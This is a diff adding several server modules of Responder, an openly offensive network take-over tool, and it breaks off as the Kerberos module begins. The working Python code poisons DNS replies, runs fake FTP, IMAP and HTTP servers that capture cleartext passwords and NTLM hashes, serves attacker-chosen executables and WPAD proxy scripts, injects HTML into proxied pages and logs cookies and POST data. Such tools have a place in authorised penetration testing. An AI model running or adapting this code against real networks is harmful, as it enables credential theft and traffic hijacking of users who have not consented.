+	PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
+	if PDC is not None:
+		print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC))
+	
+	SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
+	if SQL is not None:
+		print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL)))
+
+	WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
+	if WKST is not None:
+		print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
+
+
+def RapFinger(Host, Domain, Type):
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.connect((Host,445))
+		s.settimeout(0.3)
+
+		Header = SMBHeader(cmd="\x72",mid="\x01\x00")
+		Body = SMBNegoData()
+		Body.calculate()
+
+		Packet = str(Header)+str(Body)
+		Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+		s.send(Buffer)
+		data = s.recv(1024)
+
+		# Session Setup AndX Request, Anonymous.
+		if data[8:10] == "\x72\x00":
+			Header = SMBHeader(cmd="\x73",mid="\x02\x00")
+			Body = SMBSessionData()
+			Body.calculate()
+
+			Packet = str(Header)+str(Body)
+			Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+			s.send(Buffer)
+			data = s.recv(1024)
+
+			# Tree Connect IPC$.
+			if data[8:10] == "\x73\x00":
+				Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
+				Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
+				Body.calculate()
+
+				Packet = str(Header)+str(Body)
+				Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+				s.send(Buffer)
+				data = s.recv(1024)
+
+				# Rap ServerEnum.
+				if data[8:10] == "\x75\x00":
+					Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
+					Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
+					Body.calculate()
+
+					Packet = str(Header)+str(Body)
+					Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
+
+					s.send(Buffer)
+					data = s.recv(64736)
+
+					# Rap ServerEnum, Get answer and return what we're looking for.
+					if data[8:10] == "\x25\x00":
+						s.close()
+						return ParsePacket(data)
+	except:
+		pass
+
+def BecomeBackup(data,Client):
+	try:
+		DataOffset    = struct.unpack('<H',data[139:141])[0]
+		BrowserPacket = data[82+DataOffset:]
+		ReqType       = RequestType(BrowserPacket[0])
+
+		if ReqType == "Become Backup Browser":
+			ServerName = BrowserPacket[1:]
+			Domain     = Decode_Name(data[49:81])
+			Name       = Decode_Name(data[15:47])
+			Role       = NBT_NS_Role(data[45:48])
+
+			if settings.Config.AnalyzeMode:
+				print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
+				print RAPThisDomain(Client, Domain)
+
+	except:
+		pass
+
+def ParseDatagramNBTNames(data,Client):
+	try:
+		Domain = Decode_Name(data[49:81])
+		Name   = Decode_Name(data[15:47])
+		Role1  = NBT_NS_Role(data[45:48])
+		Role2  = NBT_NS_Role(data[79:82])
+
+	
+		if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
+			print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))
+			print RAPThisDomain(Client, Domain)
+	except:
+		pass
+
+class Browser(BaseRequestHandler):
+
+	def handle(self):
+		try:
+			request, socket = self.request
+
+			if settings.Config.AnalyzeMode:
+				ParseDatagramNBTNames(request,self.client_address[0])
+				BecomeBackup(request,self.client_address[0])
+			BecomeBackup(request,self.client_address[0])
+
+		except Exception:
+			pass

servers/DNS.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from packets import DNS_Ans
+from SocketServer import BaseRequestHandler
+from utils import *
+
+def ParseDNSType(data):
+	QueryTypeClass = data[len(data)-4:]
+
+	# If Type A, Class IN, then answer.
+	return QueryTypeClass == "\x00\x01\x00\x01"
+
+
+
+class DNS(BaseRequestHandler):
+	def handle(self):
+		# Break out if we don't want to respond to this host
+		if RespondToThisIP(self.client_address[0]) is not True:
+			return None
+
+		try:
+			data, soc = self.request
+
+			if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
+				buff = DNS_Ans()
+				buff.calculate(data)
+				soc.sendto(str(buff), self.client_address)
+
+				ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
+				print color("[*] [DNS] Poisoned answer sent to: %-15s  Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
+
+		except Exception:
+			pass
+
+# DNS Server TCP Class
+class DNSTCP(BaseRequestHandler):
+	def handle(self):
+		# Break out if we don't want to respond to this host
+		if RespondToThisIP(self.client_address[0]) is not True:
+			return None
+	
+		try:
+			data = self.request.recv(1024)
+
+			if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
+				buff = DNS_Ans()
+				buff.calculate(data)
+				self.request.send(str(buff))
+
+				ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
+				print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s  Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
+
+		except Exception:
+			pass

servers/FTP.py

@@ -0,0 +1,56 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from utils import *
+from SocketServer import BaseRequestHandler
+from packets import FTPPacket
+
+class FTP(BaseRequestHandler):
+	def handle(self):
+		try:
+			self.request.send(str(FTPPacket()))
+			data = self.request.recv(1024)
+
+			if data[0:4] == "USER":
+				User = data[5:].strip()
+
+				Packet = FTPPacket(Code="331",Message="User name okay, need password.")
+				self.request.send(str(Packet))
+				data = self.request.recv(1024)
+
+			if data[0:4] == "PASS":
+				Pass = data[5:].strip()
+
+				Packet = FTPPacket(Code="530",Message="User not logged in.")
+				self.request.send(str(Packet))
+				data = self.request.recv(1024)
+
+				SaveToDb({
+					'module': 'FTP', 
+					'type': 'Cleartext', 
+					'client': self.client_address[0], 
+					'user': User, 
+					'cleartext': Pass, 
+					'fullhash': User + ':' + Pass
+				})
+
+			else:
+				Packet = FTPPacket(Code="502",Message="Command not implemented.")
+				self.request.send(str(Packet))
+				data = self.request.recv(1024)
+
+		except Exception:
+			pass

servers/HTTP.py

@@ -0,0 +1,311 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import struct
+from SocketServer import BaseRequestHandler, StreamRequestHandler
+from base64 import b64decode
+from utils import *
+
+from packets import NTLM_Challenge
+from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
+from packets import WPADScript, ServeExeFile, ServeHtmlFile
+
+
+# Parse NTLMv1/v2 hash.
+def ParseHTTPHash(data, Challenge, client, module):
+	LMhashLen    = struct.unpack('<H',data[12:14])[0]
+	LMhashOffset = struct.unpack('<H',data[16:18])[0]
+	LMHash       = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
+	
+	NthashLen    = struct.unpack('<H',data[20:22])[0]
+	NthashOffset = struct.unpack('<H',data[24:26])[0]
+	NTHash       = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
+	
+	UserLen      = struct.unpack('<H',data[36:38])[0]
+	UserOffset   = struct.unpack('<H',data[40:42])[0]
+	User         = data[UserOffset:UserOffset+UserLen].replace('\x00','')
+
+	if NthashLen == 24:
+		HostNameLen     = struct.unpack('<H',data[46:48])[0]
+		HostNameOffset  = struct.unpack('<H',data[48:50])[0]
+		HostName        = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
+		WriteHash       = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
+		SaveToDb({
+			'module': module, 
+			'type': 'NTLMv1', 
+			'client': client, 
+			'host': HostName, 
+			'user': User, 
+			'hash': LMHash+":"+NTHash, 
+			'fullhash': WriteHash,
+		})
+
+	if NthashLen > 24:
+		NthashLen      = 64
+		DomainLen      = struct.unpack('<H',data[28:30])[0]
+		DomainOffset   = struct.unpack('<H',data[32:34])[0]
+		Domain         = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
+		HostNameLen    = struct.unpack('<H',data[44:46])[0]
+		HostNameOffset = struct.unpack('<H',data[48:50])[0]
+		HostName       = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
+		WriteHash      = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
+                 
+		SaveToDb({
+			'module': module, 
+			'type': 'NTLMv2', 
+			'client': client, 
+			'host': HostName, 
+			'user': Domain + '\\' + User,
+			'hash': NTHash[:32] + ":" + NTHash[32:],
+			'fullhash': WriteHash,
+		})
+
+def GrabCookie(data, host):
+	Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
+
+	if Cookie:
+		Cookie = Cookie.group(0).replace('Cookie: ', '')
+		if len(Cookie) > 1 and settings.Config.Verbose:
+			print text("[HTTP] Cookie           : %s " % Cookie)
+		return Cookie
+	return False
+
+def GrabHost(data, host):
+	Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
+
+	if Host:
+		Host = Host.group(0).replace('Host: ', '')
+		if settings.Config.Verbose:
+			print text("[HTTP] Host             : %s " % color(Host, 3))
+		return Host
+	return False
+
+def GrabReferer(data, host):
+	Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
+
+	if Referer:
+		Referer = Referer.group(0).replace('Referer: ', '')
+		if settings.Config.Verbose:
+			print text("[HTTP] Referer         : %s " % color(Referer, 3))
+		return Referer
+	return False
+
+def SpotFirefox(data):
+	UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
+	if UserAgent:
+                print text("[HTTP] %s" % color("User-Agent        : "+UserAgent[0], 2))
+                IsFirefox = re.search('Firefox', UserAgent[0])
+                if IsFirefox:
+                        print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
+                        print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
+                        return True
+                else:
+	               return False
+
+def WpadCustom(data, client):
+	Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
+	if Wpad and SpotFirefox(data):
+		Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
+		Buffer.calculate()
+		return str(Buffer)
+
+	if Wpad and SpotFirefox(data) == False:
+		Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
+		Buffer.calculate()
+		return str(Buffer)
+	return False
+
+def IsWebDAV(data):
+        dav = re.search('PROPFIND', data)
+        if dav:
+              return True
+        else:
+              return False
+
+def ServeOPTIONS(data):
+	WebDav= re.search('OPTIONS', data)
+	if WebDav:
+		Buffer = WEBDAV_Options_Answer()
+		return str(Buffer)
+
+	return False
+
+def ServeFile(Filename):
+	with open (Filename, "rb") as bk:
+		return bk.read()
+
+def RespondWithFile(client, filename, dlname=None):
+	
+	if filename.endswith('.exe'):
+		Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname)
+	else:
+		Buffer = ServeHtmlFile(Payload = ServeFile(filename))
+
+	Buffer.calculate()
+	print text("[HTTP] Sending file %s to %s" % (filename, client))
+	return str(Buffer)
+
+def GrabURL(data, host):
+	GET = re.findall(r'(?<=GET )[^HTTP]*', data)
+	POST = re.findall(r'(?<=POST )[^HTTP]*', data)
+	POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
+
+	if GET and settings.Config.Verbose:
+		print text("[HTTP] GET request from: %-15s  URL: %s" % (host, color(''.join(GET), 5)))
+
+	if POST and settings.Config.Verbose:
+		print text("[HTTP] POST request from: %-15s  URL: %s" % (host, color(''.join(POST), 5)))
+
+		if len(''.join(POSTDATA)) > 2:
+			print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
+
+# Handle HTTP packet sequence.
+def PacketSequence(data, client, Challenge):
+	NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
+	Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
+
+	# Serve the .exe if needed
+	if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
+		return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
+
+	# Serve the custom HTML if needed
+	if settings.Config.Serve_Html:
+		return RespondWithFile(client, settings.Config.Html_Filename)
+
+	WPAD_Custom = WpadCustom(data, client)
+        # Webdav
+        if ServeOPTIONS(data):
+                return ServeOPTIONS(data)
+
+	if NTLM_Auth:
+		Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
+                print "Challenge 2:", Challenge.encode('hex')
+		if Packet_NTLM == "\x01":
+			GrabURL(data, client)
+			GrabReferer(data, client)
+			GrabHost(data, client)
+			GrabCookie(data, client)
+
+			Buffer = NTLM_Challenge(ServerChallenge=Challenge)
+			Buffer.calculate()
+
+			Buffer_Ans = IIS_NTLM_Challenge_Ans()
+			Buffer_Ans.calculate(str(Buffer))
+			return str(Buffer_Ans)
+
+		if Packet_NTLM == "\x03":
+			NTLM_Auth = b64decode(''.join(NTLM_Auth))
+                        if IsWebDAV(data):
+                                 module = "WebDAV"
+                        else:
+                                 module = "HTTP"
+			ParseHTTPHash(NTLM_Auth, Challenge, client, module)
+
+			if settings.Config.Force_WPAD_Auth and WPAD_Custom:
+				print text("[HTTP] WPAD (auth) file sent to %s" % client)
+
+				return WPAD_Custom
+			else:
+				Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
+				Buffer.calculate()
+				return str(Buffer)
+
+	elif Basic_Auth:
+		ClearText_Auth = b64decode(''.join(Basic_Auth))
+
+		GrabURL(data, client)
+		GrabReferer(data, client)
+		GrabHost(data, client)
+		GrabCookie(data, client)
+
+		SaveToDb({
+			'module': 'HTTP', 
+			'type': 'Basic', 
+			'client': client, 
+			'user': ClearText_Auth.split(':')[0], 
+			'cleartext': ClearText_Auth.split(':')[1], 
+		})
+
+		if settings.Config.Force_WPAD_Auth and WPAD_Custom:
+			if settings.Config.Verbose:
+				print text("[HTTP] WPAD (auth) file sent to %s" % client)
+
+			return WPAD_Custom
+		else:
+			Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
+			Buffer.calculate()
+			return str(Buffer)
+	else:
+		if settings.Config.Basic:
+			Response = IIS_Basic_401_Ans()
+			if settings.Config.Verbose:
+				print text("[HTTP] Sending BASIC authentication request to %s" % client)
+
+		else:
+			Response = IIS_Auth_401_Ans()
+			if settings.Config.Verbose:
+				print text("[HTTP] Sending NTLM authentication request to %s" % client)
+
+		return str(Response)
+
+# HTTP Server class
+class HTTP(BaseRequestHandler):
+
+	def handle(self):
+		try:
+                        Challenge = RandomChallenge()
+                	for x in range(2):   
+				self.request.settimeout(3)
+				data = self.request.recv(8092)
+				Buffer = WpadCustom(data, self.client_address[0])
+
+				if Buffer and settings.Config.Force_WPAD_Auth == False:
+					self.request.send(Buffer)
+                                        self.request.close()
+					if settings.Config.Verbose:
+						print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
+
+				else:
+					Buffer = PacketSequence(data,self.client_address[0], Challenge)
+					self.request.send(Buffer)
+		except socket.error:
+			pass
+
+# HTTPS Server class
+class HTTPS(StreamRequestHandler):
+	def setup(self):
+		self.exchange = self.request
+		self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
+		self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
+
+	def handle(self):
+		try:
+                        Challenge = RandomChallenge()
+			data = self.exchange.recv(8092)
+			self.exchange.settimeout(0.5)
+			Buffer = WpadCustom(data,self.client_address[0])
+				
+			if Buffer and settings.Config.Force_WPAD_Auth == False:
+				self.exchange.send(Buffer)
+				if settings.Config.Verbose:
+					print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
+
+			else:
+				Buffer = PacketSequence(data,self.client_address[0], Challenge)
+				self.exchange.send(Buffer)
+		except:
+			pass
+

servers/HTTP_Proxy.py

@@ -0,0 +1,347 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import urlparse
+import select
+import zlib
+import BaseHTTPServer
+
+from servers.HTTP import RespondWithFile
+from utils import *
+
+IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
+
+def InjectData(data, client, req_uri):
+
+	# Serve the .exe if needed
+	if settings.Config.Serve_Always:
+		return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
+
+	# Serve the .exe if needed and client requested a .exe
+	if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'):
+		return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri))
+
+	if len(data.split('\r\n\r\n')) > 1:
+		try:
+			Headers, Content = data.split('\r\n\r\n')
+		except:
+			return data
+
+		RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
+		if set(RedirectCodes) & set(Headers):
+			return data
+
+		if "content-encoding: gzip" in Headers.lower():
+			Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
+
+		if "content-type: text/html" in Headers.lower():
+			if settings.Config.Serve_Html:  # Serve the custom HTML if needed
+				return RespondWithFile(client, settings.Config.Html_Filename)
+
+			Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
+			HasBody = re.findall(r'(<body[^>]*>)', Content)
+
+			if HasBody and len(settings.Config.HtmlToInject) > 2:
+				if settings.Config.Verbose:
+					print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
+
+				Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
+
+		if "content-encoding: gzip" in Headers.lower():
+			Content = zlib.compress(Content)
+
+		Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
+		data = Headers +'\r\n\r\n'+ Content
+	else:
+		if settings.Config.Verbose:
+			print text("[PROXY] Returning unmodified HTTP response")
+	return data
+
+class ProxySock:
+	def __init__(self, socket, proxy_host, proxy_port) : 
+
+		# First, use the socket, without any change
+		self.socket = socket
+
+		# Create socket (use real one)
+		self.proxy_host = proxy_host
+		self.proxy_port = proxy_port
+
+		# Copy attributes
+		self.family = socket.family
+		self.type = socket.type
+		self.proto = socket.proto
+
+	def connect(self, address) :
+
+		# Store the real remote adress
+		self.host, self.port = address
+	   
+		# Try to connect to the proxy 
+		for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
+			self.proxy_host, 
+			self.proxy_port,
+			0, 0, socket.SOL_TCP):
+			try:
+				# Replace the socket by a connection to the proxy
+				self.socket = socket.socket(family, socktype, proto)
+				self.socket.connect(sockaddr)
+			except socket.error, msg:
+				if self.socket:
+					self.socket.close()
+				self.socket = None
+				continue
+			break
+		if not self.socket :
+			raise socket.error, msg
+		
+		# Ask him to create a tunnel connection to the target host/port
+		self.socket.send(
+				("CONNECT %s:%d HTTP/1.1\r\n" + 
+				"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port))
+
+		# Get the response
+		resp = self.socket.recv(4096)
+
+		# Parse the response
+		parts = resp.split()
+		
+		# Not 200 ?
+		if parts[1] != "200":
+			print color("[!] Error response from upstream proxy: %s" % resp, 1)
+			pass
+
+	# Wrap all methods of inner socket, without any change
+	def accept(self) :
+		return self.socket.accept()
+
+	def bind(self, *args) :
+		return self.socket.bind(*args)
+	
+	def close(self) :
+		return self.socket.close()
+	
+	def fileno(self) :
+		return self.socket.fileno()
+
+	def getsockname(self) :
+		return self.socket.getsockname()
+	
+	def getsockopt(self, *args) :
+		return self.socket.getsockopt(*args)
+	
+	def listen(self, *args) :
+		return self.socket.listen(*args)
+	
+	def makefile(self, *args) :
+		return self.socket.makefile(*args)
+	
+	def recv(self, *args) :
+		return self.socket.recv(*args)
+	
+	def recvfrom(self, *args) :
+		return self.socket.recvfrom(*args)
+
+	def recvfrom_into(self, *args) :
+		return self.socket.recvfrom_into(*args)
+	
+	def recv_into(self, *args) :
+		return self.socket.recv_into(buffer, *args)
+	
+	def send(self, *args) :
+		try: return self.socket.send(*args)
+		except: pass
+	
+	def sendall(self, *args) :
+		return self.socket.sendall(*args)
+	
+	def sendto(self, *args) :
+		return self.socket.sendto(*args)
+	
+	def setblocking(self, *args) :
+		return self.socket.setblocking(*args)
+	
+	def settimeout(self, *args) :
+		return self.socket.settimeout(*args)
+	
+	def gettimeout(self) :
+		return self.socket.gettimeout()
+	
+	def setsockopt(self, *args):
+		return self.socket.setsockopt(*args)
+	
+	def shutdown(self, *args):
+		return self.socket.shutdown(*args)
+
+	# Return the (host, port) of the actual target, not the proxy gateway
+	def getpeername(self) :
+		return self.host, self.port
+
+# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
+class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
+	__base = BaseHTTPServer.BaseHTTPRequestHandler
+	__base_handle = __base.handle
+
+	rbufsize = 0
+
+	def handle(self):
+		(ip, port) =  self.client_address
+		if settings.Config.Verbose:
+			print text("[PROXY] Received connection from %s" % self.client_address[0])
+		self.__base_handle()
+
+	def _connect_to(self, netloc, soc):
+		i = netloc.find(':')
+		if i >= 0:
+			host_port = netloc[:i], int(netloc[i+1:])
+		else:
+			host_port = netloc, 80
+		try: soc.connect(host_port)
+		except socket.error, arg:
+			try: msg = arg[1]
+			except: msg = arg
+			self.send_error(404, msg)
+			return 0
+		return 1
+
+	def socket_proxy(self, af, fam):
+		Proxy = settings.Config.Upstream_Proxy
+		Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
+		Proxy = Proxy.split(':')
+
+		try:    Proxy = (Proxy[0], int(Proxy[1]))
+		except: Proxy = (Proxy[0], 8080)
+
+		soc = socket.socket(af, fam)
+		return ProxySock(soc, Proxy[0], Proxy[1])
+
+	def do_CONNECT(self):
+
+		if settings.Config.Upstream_Proxy:
+			soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
+		else:
+			soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+		try:
+			if self._connect_to(self.path, soc):
+				self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
+				self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
+				self.wfile.write("\r\n")
+				try:
+					self._read_write(soc, 300)
+				except:
+					pass
+		except:
+			pass
+
+		finally:
+			soc.close()
+			self.connection.close()
+
+	def do_GET(self):
+		(scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http')
+
+		if netloc in IgnoredDomains:
+			#self.send_error(200, "OK")
+			return
+
+		if scm not in 'http' or fragment or not netloc:
+			self.send_error(400, "bad url %s" % self.path)
+			return
+
+		if settings.Config.Upstream_Proxy:
+			soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
+		else:
+			soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+		try:
+			URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
+
+			if self._connect_to(netloc, soc):
+				soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))
+
+				Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
+
+				if settings.Config.Verbose:
+					print text("[PROXY] Client        : %s" % color(self.client_address[0], 3))
+					print text("[PROXY] Requested URL : %s" % color(self.path, 3))
+					print text("[PROXY] Cookie        : %s" % Cookie)
+
+				self.headers['Connection'] = 'close'
+				del self.headers['Proxy-Connection']
+				del self.headers['If-Range']
+				del self.headers['Range']
+				
+				for k, v in self.headers.items():
+					soc.send("%s: %s\r\n" % (k.title(), v))
+				soc.send("\r\n")
+
+				try:
+					self._read_write(soc, netloc)
+				except:
+					pass
+
+		except:
+			pass
+
+		finally:
+			soc.close()
+			self.connection.close()
+
+	def _read_write(self, soc, netloc='', max_idling=30):
+		iw = [self.connection, soc]
+		ow = []
+		count = 0
+		while 1:
+			count += 1
+			(ins, _, exs) = select.select(iw, ow, iw, 1)
+			if exs:
+				break
+			if ins:
+				for i in ins:
+					if i is soc:
+						out = self.connection
+						try:
+							data = i.recv(4096)
+							if len(data) > 1:
+								data = InjectData(data, self.client_address[0], self.path)
+						except:
+							pass
+					else:
+						out = soc
+						try:
+							data = i.recv(4096)
+
+							if self.command == "POST" and settings.Config.Verbose:
+								print text("[PROXY] POST Data     : %s" % data)
+						except:
+							pass
+					if data:
+						try:
+							out.send(data)
+							count = 0
+						except:
+							pass
+			if count == max_idling:
+				break
+		return None
+
+
+	do_HEAD = do_GET
+	do_POST = do_GET
+	do_PUT  = do_GET
+	do_DELETE=do_GET
+

servers/IMAP.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from utils import *
+from SocketServer import BaseRequestHandler
+from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
+
+class IMAP(BaseRequestHandler):
+	def handle(self):
+		try:
+			self.request.send(str(IMAPGreeting()))
+			data = self.request.recv(1024)
+
+			if data[5:15] == "CAPABILITY":
+				RequestTag = data[0:4]
+				self.request.send(str(IMAPCapability()))
+				self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
+				data = self.request.recv(1024)
+
+			if data[5:10] == "LOGIN":
+				Credentials = data[10:].strip()
+
+				SaveToDb({
+					'module': 'IMAP', 
+					'type': 'Cleartext', 
+					'client': self.client_address[0], 
+					'user': Credentials[0], 
+					'cleartext': Credentials[1], 
+					'fullhash': Credentials[0]+":"+Credentials[1],
+				})
+
+				## FIXME: Close connection properly
+				## self.request.send(str(ditchthisconnection()))
+				## data = self.request.recv(1024)
+		except Exception:
+			pass

servers/Kerberos.py

@@ -0,0 +1,139 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+from SocketServer import BaseRequestHandler
+from utils import *
+import struct
+
+def ParseMSKerbv5TCP(Data):
